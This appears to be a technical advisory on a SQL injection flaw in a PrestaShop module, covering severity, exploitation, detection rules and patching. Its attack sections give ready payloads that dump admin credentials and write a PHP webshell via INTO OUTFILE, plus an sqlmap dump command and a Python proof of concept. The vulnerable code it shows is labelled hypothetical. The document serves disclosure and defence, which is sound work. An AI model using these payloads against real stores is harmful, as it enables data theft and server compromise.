Comprehensive Technical Analysis of CVE-2023-30191 (PrestaShop cdesigner SQL Injection Vulnerability)

1. Vulnerability Assessment and Severity Evaluation

CVE ID: CVE-2023-30191 CVSS Score: 9.8 (Critical) – AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Vector Breakdown:

• Attack Vector (AV:N): Network-based exploitation (remote attack possible).
• Attack Complexity (AC:L): Low – No specialized conditions required.
• Privileges Required (PR:N): None – Unauthenticated exploitation.
• User Interaction (UI:N): None – No user interaction needed.
• Scope (S:U): Unchanged – Impact confined to the vulnerable component.
• Confidentiality (C:H): High – Full database access possible.
• Integrity (I:H): High – Data manipulation or injection possible.
• Availability (A:H): High – Potential for denial-of-service via malicious queries.

Severity Justification:

This vulnerability is critical due to:

• Unauthenticated remote exploitation (no credentials required).
• SQL Injection (SQLi) leading to full database compromise, including:
  • Extraction of sensitive data (customer records, payment details, credentials).
  • Arbitrary data modification (e.g., altering orders, injecting malicious content).
  • Potential for remote code execution (RCE) if combined with other vulnerabilities (e.g., file write via database functions).
• Low attack complexity, making it accessible to script kiddies and automated exploit tools.

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2. Potential Attack Vectors and Exploitation Methods

Attack Vector:

The vulnerability resides in the CdesignerTraitementModuleFrontController::initContent() method of the PrestaShop cdesigner module (versions < 3.1.9). The flaw stems from improper input sanitization in a SQL query, allowing attackers to inject malicious SQL payloads via crafted HTTP requests.

Exploitation Methods:

A. Basic SQL Injection (Data Exfiltration)

An attacker can send a maliciously crafted HTTP request (e.g., via GET or POST parameters) to manipulate the SQL query. Example:

GET /module/cdesigner/traitement?param=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,CONCAT(username,':',password),12 FROM ps_employee-- HTTP/1.1
Host: vulnerable-prestashop.com

Impact:

• Dumps sensitive data (e.g., admin credentials, customer PII).
• Enumerates database schema (tables, columns).

B. Blind SQL Injection (Time-Based)

If error messages are suppressed, attackers can use time-based blind SQLi to extract data:

1' AND (SELECT SLEEP(5) FROM ps_configuration WHERE SUBSTRING(configuration_value,1,1)='a')-- -

Impact:

• Stealthy data exfiltration without direct error feedback.

C. Database Takeover & RCE (Advanced Exploitation)

If the database user has FILE privileges, attackers may:

1. Write a webshell via INTO OUTFILE:

   1' UNION SELECT 1,2,3,4,'<?php system($_GET["cmd"]); ?>',6,7,8,9,10,11,12 INTO OUTFILE '/var/www/html/shell.php'-- -
   

2. Execute system commands via the webshell:

   GET /shell.php?cmd=id HTTP/1.1
   Host: vulnerable-prestashop.com
   

Impact:

• Full server compromise (RCE, lateral movement, persistence).

D. Automated Exploitation (Metasploit, SQLmap)

• SQLmap can automate exploitation:

  sqlmap -u "https://vulnerable-prestashop.com/module/cdesigner/traitement?param=1" --batch --dump
  

• Metasploit modules may emerge for mass exploitation.

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3. Affected Systems and Software Versions

Vulnerable Software:

• PrestaShop cdesigner module (all versions < 3.1.9).
• PrestaShop Core: While the vulnerability is in the module, it affects any PrestaShop installation using the vulnerable cdesigner version.

Affected Environments:

• E-commerce platforms running PrestaShop with the cdesigner module.
• Shared hosting environments where PrestaShop is deployed.
• Legacy systems where patching is delayed.

Detection Methods:

• Manual Check:
  • Verify module version in PrestaShop backoffice (Modules > Module Manager > cdesigner).
  • Check for the presence of /modules/cdesigner/ in the web root.
• Automated Scanning:
  • Nmap NSE Script:

    nmap -p 80,443 --script http-sql-injection <target>
    

  • Burp Suite / OWASP ZAP: Active scan for SQLi patterns.
  • Nuclei Template:

    id: CVE-2023-30191
    info:
      name: PrestaShop cdesigner SQLi
      severity: critical
      reference: CVE-2023-30191
    requests:
      - method: GET
        path: "/module/cdesigner/traitement?param=1'"
        matchers:
          - type: word
            words:
              - "SQL syntax"
              - "MySQL error"
    

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4. Recommended Mitigation Strategies

Immediate Actions:

1. Apply the Patch:

   • Upgrade cdesigner to version 3.1.9 or later (available from PrestaShop Addons).
   • If patching is delayed, disable the module temporarily.

2. Web Application Firewall (WAF) Rules:

   • Deploy ModSecurity with OWASP Core Rule Set (CRS) to block SQLi attempts.
   • Example rule:

     SecRule REQUEST_FILENAME "@contains /module/cdesigner/" \
     "id:1000,phase:2,deny,status:403,msg:'CVE-2023-30191 SQLi Attempt'"
     

3. Input Validation & Sanitization:

   • PrestaShop Developers: Ensure all SQL queries use prepared statements (PDO) instead of raw concatenation.
   • Example fix:

     // Vulnerable (raw concatenation)
     $sql = "SELECT * FROM " . _DB_PREFIX_ . "cdesigner WHERE id = " . $_GET['param'];
     
     // Fixed (prepared statement)
     $sql = "SELECT * FROM " . _DB_PREFIX_ . "cdesigner WHERE id = ?";
     $stmt = $db->prepare($sql);
     $stmt->execute([$_GET['param']]);
     

4. Database Hardening:

   • Restrict database user privileges (avoid FILE, ADMIN permissions).
   • Enable MySQL logging to detect suspicious queries:

     SET GLOBAL general_log = 'ON';
     SET GLOBAL log_output = 'TABLE';
     

5. Network-Level Protections:

   • Rate-limiting to prevent brute-force SQLi attempts.
   • IP whitelisting for admin panels if possible.

Long-Term Strategies:

• Regular Vulnerability Scanning: Use tools like Nessus, OpenVAS, or Burp Suite to detect SQLi.
• Security Headers: Implement CSP, HSTS, and X-Frame-Options to mitigate secondary attacks.
• PrestaShop Security Best Practices:
  • Keep PrestaShop core and modules updated.
  • Monitor PrestaShop security advisories (Friends of Presta).
  • Use security plugins like PrestaShop Security Pro.

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5. Impact on the Cybersecurity Landscape

Short-Term Impact:

• Mass Exploitation Risk: Given the CVSS 9.8 score and low attack complexity, this vulnerability is highly attractive to threat actors, including:
  • Cybercriminals (data theft, ransomware deployment).
  • Script kiddies (automated exploitation via SQLmap).
  • APT groups (targeting e-commerce for financial gain).
• Increased Attack Surface: PrestaShop powers ~300,000 e-commerce sites, making this a high-value target.

Long-Term Impact:

• Supply Chain Risks: Third-party modules (like cdesigner) are a common attack vector in e-commerce. This incident highlights the need for:
  • Stricter module vetting in PrestaShop’s marketplace.
  • Automated security testing for third-party extensions.
• Regulatory & Compliance Risks:
  • GDPR violations if customer data is exfiltrated.
  • PCI DSS non-compliance if payment data is compromised.
• Reputation Damage: Businesses affected by this vulnerability may face:
  • Loss of customer trust.
  • Financial penalties (chargebacks, legal action).
  • SEO penalties if malicious content is injected.

Broader Implications:

• Shift in Attacker Focus: E-commerce platforms remain lucrative targets due to:
  • High-value data (credit cards, PII).
  • Weak security practices in small/medium businesses.
• Need for Proactive Defense: Organizations must adopt:
  • Zero Trust Architecture (ZTA).
  • Runtime Application Self-Protection (RASP).
  • Continuous monitoring for SQLi attempts.

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6. Technical Details for Security Professionals

Root Cause Analysis:

The vulnerability stems from improper input handling in the CdesignerTraitementModuleFrontController class. Specifically:

• The initContent() method directly concatenates user-supplied input into a SQL query without sanitization.
• Example vulnerable code snippet (hypothetical, based on similar PrestaShop SQLi flaws):

  public function initContent()
  {
      $id = Tools::getValue('param'); // Unsanitized input
      $sql = "SELECT * FROM " . _DB_PREFIX_ . "cdesigner WHERE id = " . $id;
      $result = Db::getInstance()->executeS($sql); // Executes raw SQL
      // ... rest of the logic
  }
  

Exploitation Flow:

1. Attacker sends a crafted request with a malicious param value:

   GET /module/cdesigner/traitement?param=1' OR 1=1-- - HTTP/1.1
   

2. Unsanitized input is injected into the SQL query:

   SELECT * FROM ps_cdesigner WHERE id = 1' OR 1=1-- -
   

3. Database executes the malicious query, returning all records (or allowing further exploitation).

Post-Exploitation Scenarios:

Scenario	Technique	Impact
Data Exfiltration	UNION SELECT + CONCAT()	Theft of customer data, credentials
Blind SQLi	Time-based (SLEEP()) or boolean-based	Stealthy data extraction
Database Takeover	INTO OUTFILE + webshell upload	RCE, server compromise
Privilege Escalation	Modify admin passwords via SQL	Full backoffice access
Denial of Service	BENCHMARK() or SLEEP() in queries	Database overload

Detection & Forensics:

• Log Analysis:
  • Check Apache/Nginx access logs for:

    /module/cdesigner/traitement\?param=.*(UNION|SELECT|SLEEP|--|#)
    

  • Review MySQL general query logs for suspicious queries.
• Memory Forensics:
  • Use Volatility to detect in-memory SQLi payloads.
• Network Forensics:
  • Wireshark/tcpdump to capture malicious HTTP requests.

Proof-of-Concept (PoC) Code (Educational Purposes Only):

import requests

target = "https://vulnerable-prestashop.com/module/cdesigner/traitement"
payload = "1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,CONCAT(username,':',password),12 FROM ps_employee-- -"

response = requests.get(f"{target}?param={payload}")
print(response.text)  # May reveal admin credentials

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Conclusion

CVE-2023-30191 represents a critical SQL Injection vulnerability in the PrestaShop cdesigner module, enabling unauthenticated remote attackers to compromise databases, steal sensitive data, and potentially achieve RCE. Given its CVSS 9.8 severity and low exploitation complexity, organizations must patch immediately, deploy WAF rules, and harden their PrestaShop installations.

Security teams should monitor for exploitation attempts, conduct forensic analysis if breached, and implement long-term defenses to prevent similar vulnerabilities in third-party modules. This incident underscores the critical importance of secure coding practices and proactive vulnerability management in e-commerce platforms.